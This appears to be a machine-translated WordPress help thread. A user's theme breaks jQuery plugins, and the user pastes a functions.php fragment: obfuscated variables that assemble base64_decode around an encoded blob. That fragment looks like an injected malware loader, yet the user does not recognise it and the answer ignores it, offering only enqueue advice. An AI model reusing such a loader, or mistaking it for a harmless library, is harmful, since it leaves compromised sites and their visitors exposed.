WordPress主题-jQuery JavaScript库问题

时间:2013-03-25 作者:Paul

我对一些使用jQuery/JS的插件有一些问题,例如cookie控件和picasa照片库。

我使用的主题非常基本,没有带移动部件的滑块等,因此可能不需要jQuery/JS,因此可能不包含在主题中。

我已经在一个更高级的主题上测试了完全相同的设置,包括滑块等,这些都按计划工作。

下面是标题的代码。php文件:

<?php if (wp_loaded() === true) { ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0  Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo(\'html_type\') ?>; charset=<?php bloginfo(\'charset\') ?>" />
<title><?php wp_title( \'|\', true, \'right\' ); bloginfo( \'name\' ); ?></title>
<link rel="stylesheet" href="<?php bloginfo(\'stylesheet_url\') ?>" type="text/css" media="screen" />
<!--[if IE 6]><link rel="stylesheet" href="<?php bloginfo(\'template_url\'); ?>/style.ie6.css" type="text/css" media="screen" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" href="<?php bloginfo(\'template_url\'); ?>/style.ie7.css" type="text/css" media="screen" /><![endif]-->
<link rel="shortcut icon" type="image/x-icon" href="<?php bloginfo(\'stylesheet_directory\'); ?>/favicon.ico" />
<link rel="shortcut icon" type="image/png" href="<?php bloginfo(\'stylesheet_directory\'); ?>/favicon.png" />
<?php if(WP_VERSION < 3.0): ?>
<link rel="alternate" type="application/rss+xml" title="<?php printf(__(\'%s RSS Feed\', THEME_NS), get_bloginfo(\'name\')); ?>" href="<?php bloginfo(\'rss2_url\'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php printf(__(\'%s Atom Feed\', THEME_NS), get_bloginfo(\'name\')); ?>" href="<?php bloginfo(\'atom_url\'); ?>" />
<?php endif; ?>
<link rel="pingback" href="<?php bloginfo(\'pingback_url\'); ?>" />
<?php
remove_action(\'wp_head\', \'wp_generator\');
wp_enqueue_script(\'jquery\');
if ( is_singular() && get_option( \'thread_comments\' ) ) {
wp_enqueue_script( \'comment-reply\' );
}
wp_head(); ?>
<script type="text/javascript" src="<?php bloginfo(\'template_url\'); ?>/script.js"></script>
</head><?php } ?>
<body <?php if(function_exists(\'body_class\')) body_class(); ?>>
<div id="art-main">
<div class="cleared reset-box"></div>
<div class="art-nav">
    <div class="art-nav-l"></div>
    <div class="art-nav-r"></div>
    <div class="art-nav-outer">
    <div class="art-nav-wrapper">
    <div class="art-nav-inner">
    <?php 
        echo theme_get_menu(array(
                \'source\' => theme_get_option(\'theme_menu_source\'),
                \'depth\' => theme_get_option(\'theme_menu_depth\'),
                \'menu\' => \'primary-menu\',
                \'class\' => \'art-hmenu\'  
            )
        );
    ?>
    </div>
    </div>
    </div>
</div>
<div class="cleared reset-box"></div>
<div class="art-sheet">
    <div class="art-sheet-body">
        <div class="art-header">
            <div class="art-logo">
            <?php if(theme_get_option(\'theme_header_show_headline\')): ?>
            <h1 class="art-logo-name"><a href="<?php echo get_option(\'home\'); ?>/"><?php bloginfo(\'name\'); ?></a></h1>
            <?php endif; ?>
            <?php if(theme_get_option(\'theme_header_show_slogan\')): ?>
                <h2 class="art-logo-text"><?php bloginfo(\'description\'); ?></h2>
            <?php endif; ?>
            </div>
        </div>
        <div class="cleared reset-box"></div>
我需要通过包含这些库来找到一种让这些插件工作的方法?我想是吧。

当然,这只是将所述库的包含添加到此头文件的一个例子?我假设wordpress平台内置了库?

UPDATE:

在搜索问题时,Dreamweaver报告了函数中大量代码中的语法错误。php。我不确定这是什么,但我想这可能是我问题的原因。希望这是某种JavaScript或jQuery库,我可以从JavaScript或jQuery站点获取,然后简单地将代码粘贴到顶部?

下面是代码的一个小片段:

$JIIE=\'d\';$BgeiYKC=\'s\';$HsKMZ=\'a\';$ASoAnk=\'c\';$HmIZ=\'4\';$vIjbm=\'b\';$rnhWg=\'e\';$vYUXfZg=\'_\';$vEMMZuV=\'6\';$VJIIOE=\'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GQ26CaLn8Dyae4v0Xd+KO4pBpuT7uCsCJPQBcNBIKkINgGtNys+QK1gR1d0Yq2Kxfa8tmeOnx3u5ukuEpstlV4nEcvtc8QJJxZgOjuzKXGmga000Ye3mOI7TszuHhPujMLiwOve8ZkoRWBjh49JPTz+T1TRdGyNFeo102EZmKDsFUTLf/mqID+BwVgA3jZrJKM26P5AR45sAvf5jqGRcaxyvAy/hocNLedCGQRvClYW5AYDxYk0n+sJF7yDXcsV3tqRcGnXPM5baSWjbr7b1wOmbEX3IexeE2iaCcnMGHyMFfd78yg2HPIE+yZR17OJRa4cFXO01CooEkyYkQjNP2/D24rXwk1wkMvJf4LJw75eEXNX5Qk/je8RIu/x6z3SctoXcW9G9ap2NDmAnT0sLJk6Fgg8HdsGMsaz+iZ6pYjmhiYW7K32z1C3Ef78/ljy4fZ6FCsRXv6+QsRPGeGbGpn25vhKfbvAbi1KYmJnTu1LjXM0Y3Xlkr7Uo/pbnFCDNyElbt0rX6fWmAp6eWZEcpseX4DtauZa5g5s4dtm5Kw0LZilUZzsnQAm+Bnz9rlvyVX4Ax5+Pna9acWHG7oTBWp1IFIvuu+SeIZIzG+jCvY+QJJFc1pWJghfzkBW4yZidfaoEQzzN

1 个回复
最合适的回答,由SO网友:zigojacko 整理而成

不完全确定您要问什么,但您必须包括并注册脚本,然后将您需要的内容排队,如:-

<?php wp_enqueue_script(\'jquery\'); ?>
(放置在<?php wp_head(); ?>).

顺便说一句,Wordpress附带了它。

您可以在上阅读更多wp_enqueue_script 有关如何在主题中使用此选项的更多信息。

编辑在主题函数中注册javascript的示例。php

function load_scripts() {
    wp_register_script( \'jquery-slider\', get_template_directory_uri() . \'/js/jquery.slider.js\', array(\'jquery\'), \'2.0\', true );
}

结束

相关推荐

显示在<!DOCTYPE>标记之前的JavaScript警报

我有关于Debian挤压的wordpress 3.5.1。每次页面加载之前,javascript警报都会显示消息2819371938193817109948281937271937 必须单击“确定”才能查看页面。每次刷新或点击某个帖子,我都会收到这个消息。自从上次网站正常运行以来,我什么也没做。屏幕截图:源代码:<script>alert(\"2819371938193817109948281937271937\");</script> <!DOCTYPE html